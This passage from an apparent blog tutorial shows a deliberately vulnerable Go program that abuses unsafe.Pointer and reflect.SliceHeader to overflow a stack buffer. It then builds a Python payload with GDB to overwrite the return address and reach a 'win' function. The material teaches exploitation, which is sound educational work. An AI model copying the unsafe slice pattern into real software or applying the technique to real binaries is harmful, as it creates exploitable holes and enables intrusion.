&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;win&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"win!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The main function of the program looks like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// initialize the reader outside of the main function to simplify POC development, as &lt;/span&gt;
&lt;span class="c"&gt;// there are less local variables on the stack.&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bufio&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Stdin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// this is a harmless buffer, containing some harmless data&lt;/span&gt;
    &lt;span class="n"&gt;harmlessData&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'A'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c"&gt;// create a slice of length 512 byte, but assign the address of the harmless data as&lt;/span&gt;
    &lt;span class="c"&gt;// its buffer. Use the reflect.SliceHeader to change the slice&lt;/span&gt;
    &lt;span class="n"&gt;confusedSlice&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;reflect&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SliceHeader&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;confusedSlice&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;harmlessDataAddress&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="kt"&gt;uintptr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unsafe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Pointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;harmlessData&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])))&lt;/span&gt;
    &lt;span class="n"&gt;sliceHeader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;harmlessDataAddress&lt;/span&gt;

    &lt;span class="c"&gt;// now read into the confused slice from STDIN. This is not quite as bad as a gets()&lt;/span&gt;
    &lt;span class="c"&gt;// call in C, but almost. The function will read up to 512 byte, but the underlying&lt;/span&gt;
    &lt;span class="c"&gt;// buffer is only 8 bytes. This function is pretty much the complete vulnerability&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;confusedSlice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;There is a buffer of length 8 bytes with some harmless data. It is created as a local variable, which means it will live on the stack at an address a bit lower than the return address.&lt;/p&gt;

&lt;p&gt;Next, we will simulate an almost-as-bad coding practice as calling the &lt;code&gt;gets()&lt;/code&gt; function in a C code. We will deliberately create a buffer overflow vulnerability. Recall that Go has some safety features that prevent buffer overflows, so for this to work we are using the &lt;code&gt;unsafe.Pointer&lt;/code&gt; type.&lt;/p&gt;

&lt;p&gt;We initialize a slice with initial length and capacity 512 bytes. The slice is actually placed on the heap, not the stack, but that is irrelevant for the vulnerability. Next, using the &lt;code&gt;reflect.SliceHeader&lt;/code&gt; structure we can extract the slice header data structure that Go uses internally to represent the slice. It looks like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;SliceHeader&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;Data&lt;/span&gt; &lt;span class="kt"&gt;uintptr&lt;/span&gt;
    &lt;span class="n"&gt;Len&lt;/span&gt;  &lt;span class="kt"&gt;int&lt;/span&gt;
    &lt;span class="n"&gt;Cap&lt;/span&gt;  &lt;span class="kt"&gt;int&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The length and capacity are 512 in this case, and &lt;code&gt;Data&lt;/code&gt; is a pointer to the underlying array that contains the elements in the slice. Now, using the magic of unsafe pointers we can obtain the address of the 8 byte harmless buffer, cast it into a &lt;code&gt;uintptr&lt;/code&gt; address value and replace the &lt;code&gt;Data&lt;/code&gt; pointer with that address. This way, the slice will now point to the small buffer as its underlying array, but the length will still be set to 512 bytes. &lt;/p&gt;

&lt;p&gt;This is a misuse of the &lt;code&gt;unsafe&lt;/code&gt; package and it creates a very dangerous situation: Calling &lt;code&gt;reader.Read()&lt;/code&gt; in the next statement will fill the slice with data from standard input, but the function thinks it is safe to read up to 512 bytes while the underlying array is only 8 bytes long. This is not completely identical to the unbounded &lt;code&gt;gets()&lt;/code&gt; call, but the effect is the same as the confused slice is more than long enough to provide an attack surface.&lt;/p&gt;

&lt;p&gt;To sketch a threat model, recall the binary communication protocol from the last part of this blog series. We mentioned that in order to have dynamic packet lengths, we would add a length field. If we write the code for the server application without the dangers of explicitly creating slice headers in mind, we could simply use the length coming from the request data as length for our slice. This would create a situation similar to the one above, and because the length would be set by an attacker, a bit closer to the &lt;a href="https://heartbleed.com" rel="noopener noreferrer"&gt;Heartbleed bug&lt;/a&gt; as well. &lt;/p&gt;
&lt;h2&gt;
  
  
  Crafting a binary exploit
&lt;/h2&gt;

&lt;p&gt;Now, how can we use this buffer overflow vulnerability and create an actual exploit that will put a meaningful address into the stack at exactly the right position to be loaded into the instruction pointer? For this, we will use GDB.&lt;/p&gt;

&lt;p&gt;Playing around with the program shows an input prompt that reads some data and then seems to just swallow it:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./main 
Hello World
&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;However, putting in a large string will crash the program. That is a pretty good hint that there is potential to exploit a buffer overflow.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./main
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
unexpected fault address 0x0
fatal error: fault
&lt;span class="o"&gt;[&lt;/span&gt;signal SIGSEGV: segmentation violation &lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x80 &lt;span class="nv"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x0 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x4925d1]

goroutine 1 &lt;span class="o"&gt;[&lt;/span&gt;running]:
runtime.throw&lt;span class="o"&gt;(&lt;/span&gt;0x4c1077, 0x5&lt;span class="o"&gt;)&lt;/span&gt;
    /usr/lib/go/src/runtime/panic.go:1112 +0x72 &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000110f50 &lt;span class="nv"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000110f20 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x42ebd2
runtime.sigpanic&lt;span class="o"&gt;()&lt;/span&gt;
    /usr/lib/go/src/runtime/signal_unix.go:694 +0x3cc &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000110f80 &lt;span class="nv"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000110f50 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x4429dc
runtime: unexpected &lt;span class="k"&gt;return &lt;/span&gt;pc &lt;span class="k"&gt;for &lt;/span&gt;main.main called from 0x4141414141414141
stack: &lt;span class="nv"&gt;frame&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;sp:0xc000110f80, fp:0xc000110f88&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="nv"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;0xc000110000,0xc000111000&lt;span class="o"&gt;)&lt;/span&gt;
000000c000110e80:  0000000000000001  0000000000000000 
000000c000110e90:  000000c000110ed0  0000000000430404 &amp;lt;runtime.gwrite+164&amp;gt; 
000000c000110ea0:  0000000000000002  00000000004c0dd6 
000000c000110eb0:  0000000000000001  0000000000000001 
000000c000110ec0:  000000c000110f3d  0000000000000003 
000000c000110ed0:  000000c000110f20  0000000000430c28 &amp;lt;runtime.printstring+120&amp;gt; 
000000c000110ee0:  000000000042ed97 &amp;lt;runtime.fatalthrow+87&amp;gt;  000000c000110ef0 
000000c000110ef0:  0000000000458580 &amp;lt;runtime.fatalthrow.func1+0&amp;gt;  000000c000000180 
000000c000110f00:  000000000042ebd2 &amp;lt;runtime.throw+114&amp;gt;  000000c000110f20 
000000c000110f10:  000000c000110f40  000000000042ebd2 &amp;lt;runtime.throw+114&amp;gt; 
000000c000110f20:  000000c000110f28  0000000000458500 &amp;lt;runtime.throw.func1+0&amp;gt; 
000000c000110f30:  00000000004c1077  0000000000000005 
000000c000110f40:  000000c000110f70  00000000004429dc &amp;lt;runtime.sigpanic+972&amp;gt; 
000000c000110f50:  00000000004c1077  0000000000000005 
000000c000110f60:  4141414141414141  0000000000000000 
000000c000110f70:  4141414141414141  00000000004925d1 &amp;lt;main.main+177&amp;gt; 
000000c000110f80: &amp;lt;4141414141414141 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;4141414141414141 
000000c000110f90:  4141414141414141  4141414141414141 
000000c000110fa0:  4141414141414141  4141414141414141 
000000c000110fb0:  4141414141414141  4141414141414141 
000000c000110fc0:  4141414141414141  4141414141414141 
000000c000110fd0:  4141414141414141  4141414141414141 
000000c000110fe0:  4141414141414141  4141414141414141 
000000c000110ff0:  4141414141414141  4141414141414141 
main.main&lt;span class="o"&gt;()&lt;/span&gt;
    /tmp/code-injection/main.go:28 +0xb1 &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000110f88 &lt;span class="nv"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000110f80 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x4925d1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;In the resulting stack trace, we can even see a lot of &lt;code&gt;0x41&lt;/code&gt; values, which is the ASCII value for the letter &lt;code&gt;A&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It is time to debug the program with GDB and see where the instruction pointer actually points to after the function return. This way, we can adjust the number of bytes that we need to scramble into the program before we can put our exploit payload, overwriting the return address on the stack.&lt;/p&gt;

&lt;p&gt;To do this, I create a Python script to produce the exploit payload:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python2
&lt;/span&gt;
&lt;span class="n"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The pattern consists of letters in ascending order. This is a pattern that is easily recognizable in the hex outputs of GDB and really useful to determine the return address offset on the stack.&lt;/p&gt;

&lt;p&gt;In GDB, start the program like this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb-peda$ run &amp;lt;&amp;lt;&amp;lt;$(./exploit_win.py)
[...]
Stopped reason: SIGSEGV
0x00000000004925d1 in main.main () at main.go:28
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We pipe the output of the exploit script into the program, and we see that the program receives a &lt;code&gt;SIGSEGV&lt;/code&gt; segmentation fault signal. This signal means that the processor tried to read or write data at an invalid address, here it's because it tried to execute the &lt;code&gt;ret&lt;/code&gt; instruction and jump to an address consisting of our ASCII characters. To see which address the CPU would jump to, we need to look at the top of the stack:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb-peda$ x/8wx $rsp
0xc000068f80:   0x4f4f4f4f  0x50505050  0x51515151  0x52525252
0xc000068f90:   0x53535353  0x54545454  0x55555555  0x56565656
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Using the &lt;code&gt;x&lt;/code&gt; command, we inspect 8 words of data (each word is 4 bytes in GDB) and print them in hexadecimal form. The first two blocks (8 bytes total) are the 64-bit word that the CPU wants to put into the &lt;code&gt;$rip&lt;/code&gt; register. We can see that it is &lt;code&gt;0x4f4f4f4f50505050&lt;/code&gt;. Looking at the ASCII table, we see that it corresponds to &lt;code&gt;OOOOPPPP&lt;/code&gt;, and therefore we need to cut the padding just before the O's and replace those eight characters with the address we want to jump to.&lt;/p&gt;

&lt;p&gt;Just before closing GDB, let's quickly use it to find the address of our specially crafted &lt;code&gt;win&lt;/code&gt; function. First, try to directly access its address:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb-peda&lt;span class="nv"&gt;$ &lt;/span&gt;x main.win
No symbol &lt;span class="s2"&gt;"main.win"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;current context.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We see that there doesn't seem to be any function called &lt;code&gt;win&lt;/code&gt;. This is because the Go compiler decided to inline the function (we can see the inlining decisions by compiling with &lt;code&gt;go build -gcflags='-m'&lt;/code&gt;). Let's instead just directly jump to the address of the print call that will show us the win message. We search for it in the disassembly of the &lt;code&gt;main&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb-peda$ disassemble main.main
Dump of assembler code for function main.main:
   0x0000000000492520 &amp;lt;+0&amp;gt;: mov    rcx,QWORD PTR fs:0xfffffffffffffff8
   0x0000000000492529 &amp;lt;+9&amp;gt;: cmp    rsp,QWORD PTR [rcx+0x10]
   0x000000000049252d &amp;lt;+13&amp;gt;:    jbe    0x49262d &amp;lt;main.main+269&amp;gt;
   0x0000000000492533 &amp;lt;+19&amp;gt;:    sub    rsp,0x78
   0x0000000000492537 &amp;lt;+23&amp;gt;:    mov    QWORD PTR [rsp+0x70],rbp
   0x000000000049253c &amp;lt;+28&amp;gt;:    lea    rbp,[rsp+0x70]
   0x0000000000492541 &amp;lt;+33&amp;gt;:    mov    rax,QWORD PTR [rip+0x48e10]        # 0x4db358
   0x0000000000492548 &amp;lt;+40&amp;gt;:    mov    QWORD PTR [rsp+0x40],rax
   0x000000000049254d &amp;lt;+45&amp;gt;:    lea    rax,[rip+0xe82c]        # 0x4a0d80
   0x0000000000492554 &amp;lt;+52&amp;gt;:    mov    QWORD PTR [rsp],rax
   0x0000000000492558 &amp;lt;+56&amp;gt;:    mov    QWORD PTR [rsp+0x8],0x200
   0x0000000000492561 &amp;lt;+65&amp;gt;:    mov    QWORD PTR [rsp+0x10],0x200
   0x000000000049256a &amp;lt;+74&amp;gt;:    call   0x443670 &amp;lt;runtime.makeslice&amp;gt;
   0x000000000049256f &amp;lt;+79&amp;gt;:    mov    rax,QWORD PTR [rsp+0x18]
   0x0000000000492574 &amp;lt;+84&amp;gt;:    mov    QWORD PTR [rsp+0x58],rax
   0x0000000000492579 &amp;lt;+89&amp;gt;:    mov    QWORD PTR [rsp+0x60],0x200
   0x0000000000492582 &amp;lt;+98&amp;gt;:    mov    QWORD PTR [rsp+0x68],0x200
   0x000000000049258b &amp;lt;+107&amp;gt;:   lea    rax,[rsp+0x40]
   0x0000000000492590 &amp;lt;+112&amp;gt;:   mov    QWORD PTR [rsp+0x58],rax
   0x0000000000492595 &amp;lt;+117&amp;gt;:   mov    rax,QWORD PTR [rip+0xd3ce4]        # 0x566280 &amp;lt;main.reader&amp;gt;
   0x000000000049259c &amp;lt;+124&amp;gt;:   mov    QWORD PTR [rsp],rax
   0x00000000004925a0 &amp;lt;+128&amp;gt;:   mov    rax,QWORD PTR [rsp+0x58]
   0x00000000004925a5 &amp;lt;+133&amp;gt;:   mov    QWORD PTR [rsp+0x8],rax
   0x00000000004925aa &amp;lt;+138&amp;gt;:   mov    QWORD PTR [rsp+0x10],0x200
   0x00000000004925b3 &amp;lt;+147&amp;gt;:   mov    QWORD PTR [rsp+0x18],0x200
   0x00000000004925bc &amp;lt;+156&amp;gt;:   call   0x46b740 &amp;lt;bufio.(*Reader).Read&amp;gt;
   0x00000000004925c1 &amp;lt;+161&amp;gt;:   cmp    BYTE PTR [rsp+0x40],0x2a
   0x00000000004925c6 &amp;lt;+166&amp;gt;:   je     0x4925d2 &amp;lt;main.main+178&amp;gt;
   0x00000000004925c8 &amp;lt;+168&amp;gt;:   mov    rbp,QWORD PTR [rsp+0x70]
   0x00000000004925cd &amp;lt;+173&amp;gt;:   add    rsp,0x78
=&amp;gt; 0x00000000004925d1 &amp;lt;+177&amp;gt;:   ret    
   0x00000000004925d2 &amp;lt;+178&amp;gt;:   nop
   0x00000000004925d3 &amp;lt;+179&amp;gt;:   xorps  xmm0,xmm0
   0x00000000004925d6 &amp;lt;+182&amp;gt;:   movups XMMWORD PTR [rsp+0x48],xmm0
   0x00000000004925db &amp;lt;+187&amp;gt;:   lea    rax,[rip+0xe65e]        # 0x4a0c40
   0x00000000004925e2 &amp;lt;+194&amp;gt;:   mov    QWORD PTR [rsp+0x48],rax
   0x00000000004925e7 &amp;lt;+199&amp;gt;:   lea    rax,[rip+0x491b2]        # 0x4db7a0
   0x00000000004925ee &amp;lt;+206&amp;gt;:   mov    QWORD PTR [rsp+0x50],rax
   0x00000000004925f3 &amp;lt;+211&amp;gt;:   mov    rax,QWORD PTR [rip+0xd3c9e]        # 0x566298 &amp;lt;os.Stdout&amp;gt;
   0x00000000004925fa &amp;lt;+218&amp;gt;:   lea    rcx,[rip+0x4a95f]        # 0x4dcf60 &amp;lt;go.itab.*os.File,io.Writer&amp;gt;
   0x0000000000492601 &amp;lt;+225&amp;gt;:   mov    QWORD PTR [rsp],rcx
   0x0000000000492605 &amp;lt;+229&amp;gt;:   mov    QWORD PTR [rsp+0x8],rax
   0x000000000049260a &amp;lt;+234&amp;gt;:   lea    rax,[rsp+0x48]
   0x000000000049260f &amp;lt;+239&amp;gt;:   mov    QWORD PTR [rsp+0x10],rax
   0x0000000000492614 &amp;lt;+244&amp;gt;:   mov    QWORD PTR [rsp+0x18],0x1
   0x000000000049261d &amp;lt;+253&amp;gt;:   mov    QWORD PTR [rsp+0x20],0x1
   0x0000000000492626 &amp;lt;+262&amp;gt;:   call   0x48bf10 &amp;lt;fmt.Fprintln&amp;gt;
   0x000000000049262b &amp;lt;+267&amp;gt;:   jmp    0x4925c8 &amp;lt;main.main+168&amp;gt;
   0x000000000049262d &amp;lt;+269&amp;gt;:   call   0x459ae0 &amp;lt;runtime.morestack_noctxt&amp;gt;
   0x0000000000492632 &amp;lt;+274&amp;gt;:   jmp    0x492520 &amp;lt;main.main&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It might not be completely obvious where the function starts, but given the call to &lt;code&gt;win&lt;/code&gt; that we added to stop the compiler from removing the function altogether was inside an &lt;code&gt;if&lt;/code&gt;-statement, it is reasonable that the function would be at the target of some conditional jump instruction (&lt;code&gt;je&lt;/code&gt; in line &amp;lt;+161&amp;gt; here): it is at line &amp;lt;+178&amp;gt;, starting with a &lt;code&gt;NOP&lt;/code&gt; instruction. Skipping the &lt;code&gt;NOP&lt;/code&gt;, we can use line &amp;lt;+179&amp;gt; or address &lt;code&gt;0x00000000004925d3&lt;/code&gt; as target.&lt;/p&gt;

&lt;p&gt;So let's update the exploit code to use the correct padding and the target address:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python2
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;win_p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4925d3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;win_p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Running the program with this input creates the following output:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./exploit_win.py | ./main
win!
unexpected fault address 0xc000072000
fatal error: fault
&lt;span class="o"&gt;[&lt;/span&gt;signal SIGSEGV: segmentation violation &lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x2 &lt;span class="nv"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000072000 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000072000]

goroutine 1 &lt;span class="o"&gt;[&lt;/span&gt;running]:
runtime.throw&lt;span class="o"&gt;(&lt;/span&gt;0x4c1077, 0x5&lt;span class="o"&gt;)&lt;/span&gt;
    /usr/lib/go/src/runtime/panic.go:1112 +0x72 &lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000070fd8 &lt;span class="nv"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0xc000070fa8 &lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x42ebd2
runtime: unexpected &lt;span class="k"&gt;return &lt;/span&gt;pc &lt;span class="k"&gt;for &lt;/span&gt;runtime.sigpanic called from 0xc000072000
stack: &lt;span class="nv"&gt;frame&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;sp:0xc000070fd8, fp:0xc000071008&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="nv"&gt;stack&lt;/span&gt;&lt;span class="o"&gt;=[&lt;/span&gt;0xc000070000,0xc000071000&lt;span class="o"&gt;)&lt;/span&gt;
000000c000070ed8:  000000c000070fbc  000000c000070f18 
000000c000070ee8:  000000000043023b &amp;lt;runtime.recordForPanic+299&amp;gt;  0000000000590565 
